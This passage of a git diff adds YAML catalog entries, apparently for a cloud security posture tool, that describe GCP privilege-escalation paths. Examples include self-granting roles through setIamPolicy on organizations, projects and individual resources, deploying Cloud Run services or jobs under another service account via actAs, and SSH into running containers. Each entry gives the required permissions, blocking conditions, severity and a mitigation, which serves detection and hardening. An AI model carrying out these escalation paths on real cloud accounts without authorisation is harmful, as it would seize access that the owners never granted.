pubsub.subscriptions.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - pubsub.subscriptions.consume + aggregate_as: Subscription consume access the source could grant itself + conditions: + - id: exact_subscription_policy + description: Requires an inventoried subscription, policy-write authority on it, and no current consume grant; only pull delivery yields a named prospective path, while incomplete IAM, group, org policy, or deny evidence leaves it unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict pubsub.subscriptions.setIamPolicy on protected subscription resources and review self-directed IAM + policy changes. + notes: A Pub/Sub Subscriber role can be granted on one subscription. Pull subscriptions can expose messages after that grant. Push, export, and unknown delivery modes remain unresolved without a separate usable-consume path; a reviewed accepted mutation can also provide direct evidence. +- id: gcp-vmwareengine-privateclouds-setiampolicy-private-cloud-self-grant + provider: gcp + service: vmwareengine + title: Self-grant vmwareengine.privateClouds.showVcenterCredentials on a private cloud + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vmwareengine-gcve-privesc.md#vmwareengineprivatecloudssetiampolicy--grant-a-credential-reading-role-on-one-private-cloud + source_revision: a1de13ac34 + summary: The source uses vmwareengine.privateClouds.setIamPolicy on an exact private cloud to add its own IAM binding and + gain vmwareengine.privateClouds.showVcenterCredentials, which it lacked before the accepted policy mutation. + requires: + all_of: + - action: vmwareengine.privateClouds.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - vmwareengine.privateClouds.showVcenterCredentials + aggregate_as: Verified private cloud self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict vmwareengine.privateClouds.setIamPolicy on protected private cloud resources and review self-directed + IAM policy changes. + notes: The policy write alone does not create a path. The gcp_resource_self_grant_evidence record must prove this exact + permission gain for the acting principal on GrantedResource. +- id: gcp-privateca-capools-setiampolicy-ca-pool-self-grant + provider: gcp + service: privateca + title: Self-grant privateca.certificates.create on a ca pool + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#privatecacapoolssetiampolicy--grant-certificate-issuance-on-a-ca-pool + source_revision: a1de13ac34 + summary: A caller with privateca.caPools.setIamPolicy on an exact CA pool could add its own unconditional certificateRequester binding + and gain privateca.certificates.create where the current policy and inherited grants do not already provide it. + requires: + all_of: + - action: privateca.caPools.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - privateca.certificates.create + aggregate_as: Verified ca pool self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires a unique CA pool, its readable IAM policy, derived policy-write authority on that exact pool, no existing certificate-create + access, and sufficient ancestor policy, deny, and membership evidence to assess an unconditional self-binding. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict privateca.caPools.setIamPolicy on protected ca pool resources and review self-directed IAM policy changes. + notes: The policy write alone does not create a path. The gcp_resource_self_grant_evidence record must prove this exact + permission gain for the acting principal on GrantedResource. +- id: gcp-krmapihosting-krmapihosts-setiampolicy-krm-api-host-self-grant + provider: gcp + service: krmapihosting + title: Self-grant krmapihosting.krmApiHosts.update on a krm api host + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#durable-instance-iam-binding-krmapihostingkrmapihostssetiampolicy + source_revision: a1de13ac34 + summary: The source uses krmapihosting.krmApiHosts.setIamPolicy on an exact krm api host to add its own IAM binding and + gain krmapihosting.krmApiHosts.update, which it lacked before the accepted policy mutation. + requires: + all_of: + - action: krmapihosting.krmApiHosts.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - krmapihosting.krmApiHosts.update + aggregate_as: Verified krm api host self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: A listed, running host with a unique IAM policy, exact policy-write permission, no prior update access, + and a grantable admin role is a conditional path. An accepted mutation with effective post-grant access can verify it. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict krmapihosting.krmApiHosts.setIamPolicy on protected krm api host resources and review self-directed + IAM policy changes. + notes: The policy write alone does not prove a gained permission. The read-only host and policy inventory supports a + conditional path; a complete gcp_resource_self_grant_evidence record can attest the actual grant. +- id: gcp-compute-images-setiampolicy-image-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Self-grant compute.images.useReadOnly on an image + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeimagessetiampolicy--self-grant-image-use + source_revision: 669e767e95 + summary: The source can add its own IAM binding to an exact ready image it can administer and gain compute.images.useReadOnly when it lacks that permission. + requires: + all_of: + - action: compute.images.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - compute.images.useReadOnly + aggregate_as: Image read-only use the source could grant itself + conditions: + - id: exact_reviewed_self_grant + description: The exact ready image is inventoried with a readable IAM policy; the source can set that policy but lacks compute.images.useReadOnly on the image. An independently reviewed accepted mutation remains a second supported proof route. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict compute.images.setIamPolicy on protected image resources and review self-directed IAM policy changes. + notes: The source can add roles/compute.imageUser to its own image policy to gain compute.images.useReadOnly. This grants a new permission on that image, but using its bytes requires separate VM or disk creation permissions and may face CMEK constraints. +- id: gcp-logging-views-setiampolicy-self-grant + provider: gcp + service: logging + title: Self-grant logging.views.access on a log view + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-logging-privesc.md#change-access-to-a-log-view--loggingviewssetiampolicy + source_revision: 669e767e95 + summary: The acting principal can use logging.views.setIamPolicy on an exact existing log view to grant itself logging.views.access, + which it does not already hold. + requires: + all_of: + - action: logging.views.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - logging.views.access + aggregate_as: Log view access the source could grant itself + conditions: + - id: exact_reviewed_self_grant + description: A unique listed view with a readable IAM policy, exact policy-write permission, no prior view access, + and a grantable view-accessor role supports a conditional path. An accepted mutation with effective post-grant access can verify it. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict logging.views.setIamPolicy on protected log view resources and review self-directed IAM policy changes. + notes: The policy write alone does not prove a gained permission. The read-only view and policy inventory supports a + conditional path; a complete gcp_resource_self_grant_evidence record can attest the actual grant. +- id: gcp-domains-registrations-setiampolicy-self-grant + provider: gcp + service: domains + title: Self-grant domains.registrations.configureDns on a domain registration + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-domains-privesc.md#domainsregistrationssetiampolicy--registration-scoped-iam-persistence + source_revision: 669e767e95 + summary: A principal with domains.registrations.setIamPolicy on an active registration could grant itself domains.registrations.configureDns + through that registration's IAM policy when it lacks that permission today. + requires: + all_of: + - action: domains.registrations.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - domains.registrations.configureDns + aggregate_as: Domain registration DNS self-grant to the source + conditions: + - id: prospective_or_reviewed_self_grant + description: Requires an exact active registration, its collected IAM policy, a source able to write that policy, + prior absence of DNS configuration permission, and a collected grantable role; reviewed mutations must also prove effective post-grant access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict domains.registrations.setIamPolicy on protected domain registration resources and review self-directed + IAM policy changes. + notes: The prospective path uses roles/domains.editor on the exact registration. Complete reviewed mutation evidence can prove another grantable role. +- id: gcp-contactcenterinsights-authorizedviews-setiampolicy-self-grant + provider: gcp + service: contactcenterinsights + title: Self-grant authorized-view read access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-contact-center-insights-privesc.md#authorized-view-iam-self-grant-authorizedviewssetiampolicy + source_revision: 2bb3ac75c0 + summary: A principal that can set the IAM policy on an exact authorized view may grant itself the authorizedViewer + role and gain view access it did not already have. + requires: + all_of: + - action: contactcenterinsights.authorizedViews.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - contactcenterinsights.authorizedViews.get + aggregate_as: Verified authorized-view self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires either complete source-bound evidence of an accepted self-grant or a unique existing view + with collected IAM policy, role, prior-access, and policy-write facts. The inferred path remains conditional. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict contactcenterinsights.authorizedViews.setIamPolicy and review self-directed authorized-view policy + changes. + notes: View access is an IAM permission gain. Whether matching conversations exist remains conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/resourcemanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/resourcemanager.yaml new file mode 100644 index 0000000000..61acc2d1c3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/resourcemanager.yaml @@ -0,0 +1,247 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Resource Manager (organization / folder / project IAM) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-resourcemanager-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Writing the IAM policy of a node grants any role on it and, through inheritance, on all descendants. + +- id: gcp-resourcemanager-organizations-setiampolicy + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Self-grant Organization Policy Admin access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change an active organization's IAM policy may grant itself Organization Policy Admin when it lacks the policy-setting permission. + requires: + all_of: + - action: resourcemanager.organizations.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - orgpolicy.policy.set + aggregate_as: "Organization policy-setting permission the source could grant itself" + conditions: + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict roles/resourcemanager.organizationAdmin and roles/iam.securityAdmin at the organization to break-glass identities. + notes: The prospective path requires the active organization and full IAM policy, the grantable Organization Policy Admin role, a newly effective policy-setting permission, and no unresolved IAM, member, deny, or PAB blocker. Other grantable roles may provide different new permissions and need separate evidence. + references: + - https://cloud.google.com/resource-manager/docs/access-control-org + +- id: gcp-resourcemanager-organizations-setiampolicy-deny-admin + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Self-grant Deny Admin access on an organization + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change an active organization's IAM policy may grant itself Deny Admin when it lacks the permission to create deny policies. + requires: + all_of: + - action: resourcemanager.organizations.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - iam.denypolicies.create + aggregate_as: "Deny-policy administration permission the source could grant itself" + conditions: + - id: allowed_member_domains + description: Effective member restrictions can reject the new role binding. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict organization IAM policy writes to administrators who need to grant roles at that scope. + notes: The prospective path requires the active organization and full IAM policy, the grantable Deny Admin role, a newly effective deny-policy permission, and resolved IAM, member, deny, group, and PAB evidence. + references: + - https://cloud.google.com/iam/docs/roles-permissions/iam + +- id: gcp-resourcemanager-organizations-setiampolicy-role-admin + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Self-grant Organization Role Administrator access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change an active organization's IAM policy may grant itself Organization Role Administrator when it lacks permission to create custom roles. + requires: + all_of: + - action: resourcemanager.organizations.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - iam.roles.create + aggregate_as: "Organization custom-role administration permission the source could grant itself" + conditions: + - id: allowed_member_domains + description: Effective member restrictions can reject the new role binding. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict organization IAM policy writes to administrators who need to grant roles at that scope. + notes: The prospective path requires the active organization and full IAM policy, the grantable Organization Role Administrator role, a newly effective custom-role permission, and resolved IAM, member, deny, group, and PAB evidence. + references: + - https://cloud.google.com/iam/docs/roles-permissions/iam + +- id: gcp-resourcemanager-folders-setiampolicy + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Self-grant Folder Admin access on a folder + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change an active folder's IAM policy may grant itself Folder Admin when it lacks at least one supported folder permission. + requires: + all_of: + - action: resourcemanager.folders.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - resourcemanager.folders.create + - resourcemanager.folders.delete + - resourcemanager.folders.move + - resourcemanager.folders.update + - resourcemanager.folders.undelete + - resourcemanager.projects.setIamPolicy + aggregate_as: "Folder Admin permissions the source could grant itself" + conditions: + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict roles/resourcemanager.folderAdmin and roles/resourcemanager.folderIamAdmin. + notes: The prospective path requires an active exact folder, its complete IAM policy, a grantable Folder Admin role, a new effective permission on that folder or a known descendant project, and no unresolved IAM or policy blockers. The policy change has not been executed. + +- id: gcp-resourcemanager-projects-setiampolicy + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Self-grant Editor access on a project + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change an active project's IAM policy may grant itself Editor when that role adds at least one permission it lacks at the project. + requires: + all_of: + - action: resourcemanager.projects.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - roles/editor + aggregate_as: "Editor role the source could grant itself on a project" + conditions: + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. + - id: default_service_account_basic_role_block + description: iam.managed.preventPrivilegedBasicRolesForDefaultServiceAccounts can reject Editor grants to default service accounts. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict roles/resourcemanager.projectIamAdmin, roles/iam.securityAdmin and roles/owner. + notes: The prospective path needs an active exact project, its complete IAM policy, a complete grantable Editor role, a new effective permission, and resolved IAM conditions, member and basic-role restrictions, deny, group, and PAB evidence. Other project roles may provide different new permissions and need separate evidence. + +- id: gcp-resourcemanager-projects-setiampolicy-project-delete + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Self-grant Project Deleter access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change an active project's IAM policy may grant itself Project Deleter when it lacks project deletion permission. + requires: + all_of: + - action: resourcemanager.projects.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - resourcemanager.projects.delete + aggregate_as: "Project deletion permission the source could grant itself" + conditions: + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict project IAM policy write access to administrators who need to grant roles on the project. + notes: The prospective path requires an active exact project, its complete IAM policy, the grantable Project Deleter role, a newly effective project deletion permission, and resolved IAM conditions, member restrictions, deny, group, and PAB evidence. + +- id: gcp-resourcemanager-projects-setiampolicy-sa-token + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Grant access to impersonate a project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change a project's IAM policy may grant itself Service Account Token Creator on the project and mint a token for an enabled service account it could not already impersonate. + requires: + all_of: + - action: resourcemanager.projects.setIamPolicy + resource: "{target.scope}" + target: + kind: gcp_service_account + selector: + gcp_project_iam_sa_token_grant: true + scope: any + aggregate_as: "Service accounts reachable through a project IAM Token Creator grant" + conditions: + - id: allowed_member_domains + description: Effective organization policy can reject the new Token Creator binding for the source principal. + blockers: + - gcp_deny_policy + - disabled_service_account + confidence: conditional + severity: critical + mitigation: Limit project IAM policy writers and grant Service Account Token Creator only on the specific accounts that need impersonation. + notes: The prospective path joins an active exact project, full project and service-account IAM policies, an enabled named service account, a full Token Creator role, absent prior token access, and resolved IAM, member, deny, group, and PAB evidence. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/run.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/run.yaml new file mode 100644 index 0000000000..334c1fdb0d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/run.yaml @@ -0,0 +1,540 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Run (services, jobs, worker pools) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-run-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# actAs is enforced at create/update on the runtime SA (the Compute default SA when none is set); it is NOT re-checked at +# execution, so execution-time levers on an existing resource reach its pinned SA without actAs. + +- id: gcp-run-services-create-actas + provider: gcp + service: run + title: Deploy a Cloud Run service running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicescreate--iamserviceaccountsactas-runroutesinvoke + source_revision: 171e422 + summary: The source may run new code under a same-project service account when it can attach that account, create a Cloud Run service in that project, and the Cloud Run API is enabled. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_run_service_create_path: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Run service identity in {project}" + conditions: + - id: service_create_project + description: The selector checks service creation on the target account's project and keeps undecidable future-resource conditions unresolved. + - id: cloud_run_api + description: The Cloud Run API must be enabled in that project. + - id: invoke_path + description: run.routes.invoke (or a public service) is needed only to trigger request-time code; container startup code runs without invocation. + - id: cross_project_sa + description: Cross-project service-account attachment has separate policy and service-agent requirements, modelled by gcp-run-services-create-cross-project-actas. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs (roles/iam.serviceAccountUser) only on specific SAs; restrict roles/run.developer and roles/run.admin. + references: + - https://cloud.google.com/run/docs/securing/service-identity + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.services/create + - https://docs.cloud.google.com/service-usage/docs/reference/rest/v1/services/list + notes: New code can run during container startup; request-time code additionally needs an invoker or a public service. + +- id: gcp-run-services-create-cross-project-actas + provider: gcp + service: run + title: Deploy a Cloud Run service with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicescreate--iamserviceaccountsactas-runroutesinvoke + source_revision: 171e422 + summary: The source may run a new Cloud Run service under a service account from another project when the target project allows cross-project attachment and the Cloud Run service agent can mint its tokens. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_run_service: true + scope: any + aggregate_as: "Service accounts attachable to new Cloud Run services in another project" + conditions: + - id: host_service_create + description: The host project must grant service creation and have the Cloud Run API enabled. + - id: cross_project_service_agent + description: The project creating the service must grant its Cloud Run service agent Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The effective iam.disableCrossProjectServiceAccountUsage policy on the target service account's project must be unenforced. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict cross-project service account attachment, Cloud Run service-agent token grants, and deployer actAs permissions to the intended projects. + references: + - https://cloud.google.com/run/docs/configuring/services/service-identity + - https://docs.cloud.google.com/service-usage/docs/reference/rest/v1/services/list + notes: The selector joins a project-scoped create grant and enabled API in the same host project before checking target policy and service-agent token rights. + +- id: gcp-run-services-update-actas + provider: gcp + service: run + title: Redeploy an existing Cloud Run service with new code, environment or identity + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicesupdate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source may deploy new code under a same-project service account when it can update one exact ready Cloud Run service in that project and attach the account with actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_run_service_update_path: true + scope: same_project + aggregate_as: "Service accounts attachable to existing Cloud Run services in {project}" + conditions: + - id: existing_service + description: The selector checks run.services.update on one undeleted, ready service in the target account's project. Failed or reconciling services remain unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict run.services.update and grant actAs only on specific SAs. + references: + - https://docs.cloud.google.com/run/docs/configuring/services/service-identity + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.services/patch + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.services + notes: Updating the image can introduce new code. The service must later receive traffic or maintain warm instances for that code to start. + +- id: gcp-run-services-setiampolicy-actas + provider: gcp + service: run + title: Self-grant update rights on a Cloud Run service through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicessetiampolicy + source_revision: 171e422 + summary: The source may run new code as a service's pinned account when it can change that exact service's IAM policy, grant itself missing update rights, and use actAs on the account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: run_service + gcp_actas_granted_on_target: true + gcp_run_service_policy_update_path: true + scope: any + aggregate_as: "SAs of Cloud Run services whose IAM policy the source controls" + conditions: + - id: followup_update + description: The selector requires setIamPolicy on the same ready service, a collected policy, a grantable Cloud Run Developer role that adds update, and clear known policy restrictions. actAs on the pinned identity is also required. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict run.services.setIamPolicy (roles/run.admin, roles/owner). + references: + - https://docs.cloud.google.com/run/docs/reference/iam/roles + - https://docs.cloud.google.com/run/docs/configuring/services/service-identity + notes: The update can replace the image, while actual code startup depends on the service receiving traffic or maintaining warm instances. + +- id: gcp-run-jobs-create-run-actas + provider: gcp + service: run + title: Create and execute a Cloud Run job running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobscreate-runjobsrun-iamserviceaccountsactasrunjobsget + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_run_job_create_execute_path: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Run job identity in {project}" + conditions: + - id: same_project_execution + description: The selector requires create and run on the same target project, so a new job can inherit both grants. + - id: cloud_run_api + description: The host project's Cloud Run API must be enabled before a new job can be created. + - id: cross_project_sa + description: Cross-project service-account attachment is covered by gcp-run-jobs-create-run-cross-project-actas. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; roles/editor bundles both actAs and job create/run. + references: + - https://docs.cloud.google.com/run/docs/configuring/jobs/service-identity + - https://docs.cloud.google.com/run/docs/execute/jobs + notes: Omitting the SA does not bypass actAs; it is enforced on the Compute default SA. A job created in the project inherits project-level run permission. No ingress is needed. + +- id: gcp-run-jobs-create-run-cross-project-actas + provider: gcp + service: run + title: Create and execute a Cloud Run job with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobscreate-runjobsrun-iamserviceaccountsactasrunjobsget + source_revision: 171e422 + summary: The source may execute a new job under a service account from another project when cross-project attachment is allowed and the Cloud Run service agent can mint its tokens. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_run_job: true + scope: any + aggregate_as: "Service accounts usable by jobs in another project" + conditions: + - id: same_host_job_execution + description: The host project must grant both job creation and execution for a newly created job. + - id: cloud_run_api + description: The Cloud Run API must be enabled in the host project. + - id: cross_project_service_agent + description: The job project's Cloud Run service agent must have Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The target service account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Limit cross-project attachment, service-agent token grants, and deployer actAs to intended projects and service accounts. + references: + - https://docs.cloud.google.com/run/docs/configuring/jobs/service-identity + - https://docs.cloud.google.com/service-usage/docs/reference/rest/v1/services/list + notes: The selector joins create and run in one collected host project with an enabled Cloud Run API, then checks the target project's policy and the host service agent's token access. + +- id: gcp-run-jobs-update-run-actas + provider: gcp + service: run + title: Update and execute an existing Cloud Run job with new code or identity + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobsupdaterunjobsruniamserviceaccountsactasrunjobsget + source_revision: 171e422 + summary: The source may run new code as a service account in the same project when it can update and execute one exact ready Cloud Run job and attach that account with actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_run_job_update_execute_path: true + scope: same_project + aggregate_as: "Service accounts attachable to existing Cloud Run jobs in {project}" + conditions: + - id: existing_job + description: The selector checks run.jobs.update and run.jobs.run on the same undeleted, ready job in the target account's project. Failed or reconciling jobs remain unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict run.jobs.update and grant actAs only on specific SAs. + references: + - https://docs.cloud.google.com/run/docs/configuring/jobs/service-identity + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.jobs/patch + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.jobs + notes: A job update can replace the image and service account. The selector requires execution permission on that same job after the update. + +- id: gcp-run-workerpools-create-update-actas + provider: gcp + service: run + title: Deploy or update a Cloud Run worker pool running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runworkerpoolscreate--update-iamserviceaccountsactas--a-third-run-as-sa-resource + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_run_worker_pool_create_or_update_path: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Run worker pool identity in {project}" + conditions: + - id: update_requires_existing + description: The selector checks create permission with an enabled Cloud Run API or update permission on an exact, ready, undeleted worker pool; unresolved state remains unknown. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; restrict run.workerpools create/update. + references: + - https://docs.cloud.google.com/run/docs/configuring/workerpools/service-identity + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.workerPools + +- id: gcp-run-ssh-into-running-instance + provider: gcp + service: run + title: SSH into a Cloud Run service container and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#cloud-run-instance-ssh--runsshread--runsshroot-exec-inside-a-running-container-as-its-sa-no-actas + source_revision: 171e422 + summary: The source may reach the service identity through root SSH on an enabled second-generation Cloud Run service when it can also act as that identity; IAP and OS Login access remain conditional. + requires: + all_of: + - action: run.services.sshRoot + resource: "{target.host_resource}" + - action: 